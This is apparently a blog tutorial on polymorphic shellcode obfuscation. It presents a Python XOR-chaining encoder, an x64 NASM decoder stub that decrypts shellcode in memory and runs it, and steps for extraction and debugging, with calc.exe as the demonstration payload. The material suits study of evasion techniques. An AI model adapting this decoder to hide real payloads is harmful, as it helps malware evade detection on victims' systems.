Obfuscation: ByteSwapping

Polymorphism: An object that may look different, but always performs the same function.

In the previous post, I decrypted an encrypted shellcode in memory and executed it. The encryption method was a simple XOR transformation applied to every byte.

Now, I want to introduce more dynamism to the encryption process to make reverse-engineering and decryption of the shellcode more difficult.

Preliminary Considerations

How can I eliminate the static pattern imposed by a fixed XOR key?
Instead of encrypting every byte with the key, I will encrypt only every even-indexed byte using the XOR key. The odd-indexed bytes will then be encrypted using the result of the previous transformation¹

$EncryptedByte(even)=Byte(even)\wedge Key(XOR)$ $EncryptedByte(odd)=Byte(odd)\wedge EncryptedByte(even)$

Example

As shown below, simply changing the XOR key drastically alters the output.

	Byte 1	Byte 2	Byte 3	Byte 4
Plaintext	01	AF	45	C3
XOR Key 1	15	14	15	50
Encrypted	14	BB	50	93
XOR Key 2	57	56	57	12
Encrypted	56	F9	12	D1

The Code

Step 1: Python Encoder

The Python function is straightforward:

• Called with the target bytes and the desired XOR key
• Initializes required variables
• Iterates through each byte using a for loop
• If the index is even:
  • Encrypt it with the XOR key
  • Append to the output bytearray
  • Store it for the next round
• If the index is odd:
  • XOR it with the previously encrypted byte
  • Append the result to the bytearray
• Finally, return the encrypted bytearray

    def encrypt(data: bytes, xor_key: int) -> bytes:
        transformed = bytearray()
        prev_enc_byte = 0
        for i, byte in enumerate(data):
            if i % 2 == 0: # even byte positions
                enc_byte = byte ^ xor_key
            else:          # odd byte positions
                enc_byte = byte ^ prev_enc_byte
            
            transformed.append(enc_byte)
            prev_enc_byte = enc_byte
 
        return bytes(transformed)

Step 2: Assembly Decoder

We now need the corresponding assembly code to reverse the encryption. The full code can be found at the end of this post.

Step 2.1: Initialization and JMP-CALL-POP

_start:
    xor rax, rax
    xor rbx, rbx
    xor rcx, rcx
    mov cl, 242
    jmp short call_decoder

• Zeroes out RAX, RBX, and RCX
• Sets CL to the shellcode length
• Jumps over the shellcode to initiate decryption

call_decoder:
	call decoder
	Shellcode: db 0x75,0x3d...0x75

• call pushes the address of the shellcode onto the stack

decoder:
	pop rsi

• Pops the shellcode address into RSI

Schritt 2.2: Decoder Loop

decode_loop:
    test rcx, rcx
    jz Shellcode

• Ends loop if RCX (the shellcode length) is zero

    mov rdx, rsi
    sub dl, Shellcode
    test dl, 1
    jnz odd_byte

• Calculates the index relative to the shellcode base
• test checks if the index is odd or even (last bit = 1 → odd)

Here is how test checks values:

Dezimal	1	2	3	4
Binär	0001	0010	0011	0100

The Last bit of an even byte is always a zero.

Even Bytes

    mov al, [rsi]
    xor byte [rsi], 0x20
    jmp post_processing

• Store current byte in AL for the next iteration
• Decrypt using fixed XOR key 0x20

Odd Bytes

odd_byte:
    xor byte [rsi], al 

• Decrypt using previous byte’s encrypted value

Post-Processing

post_processing:
    inc rsi
    dec rcx
    jmp decode_loop

• Move to next byte
• Decrease loop counter
• Repeat loop

Step 2.3: Shellcode Execution

When the loop ends, the now-decrypted shellcode is executed directly.

Step 2.4: Compilation and Cleanup

Compile using:

nasm -f win64 poly2.asm -o poly.o

Clean up and extract the payload using ShenCode:

python shencode.py output -i poly2.o -s inspect
...
0x00000096: 20 00 50 60 48 31 c0 48
...
0x00000400: a3 67 28 75 1a 00 00 00

• Identify opcode boundaries:

python shencode.py extract -i poly2.o -s .text

• Format as C-compatible output:

python shencode.py output -i poly2.raw --syntax c
...
"\x48\x31\xc0...x67\x28\x75";

Step 3: Injecting

Now we need an injector to load the shellcode into memory. You can reuse the one from the previous post on polymorphic in-memory decoders.

Debugging

After compilation, debugging is done using x64dbg.

Press F9 to run to the entry point

Locate main() and set a breakpoint with F2

Step into (F7) and find the final call before RET—this executes the shellcode

At this point, the lower region contains the encrypted shellcode, and the decoder is above. Use Ctrl+F7 for slow-motion stepping to watch the decryption in real time.

In this case, the payload used was calc.exe.

Repository

• Shellcode: poly2.asm
• ShenCode

---

Footnotes

1. Note: Even and odd refer to byte offsets; Byte 1 at offset 0 is even, Byte 2 is odd. ↩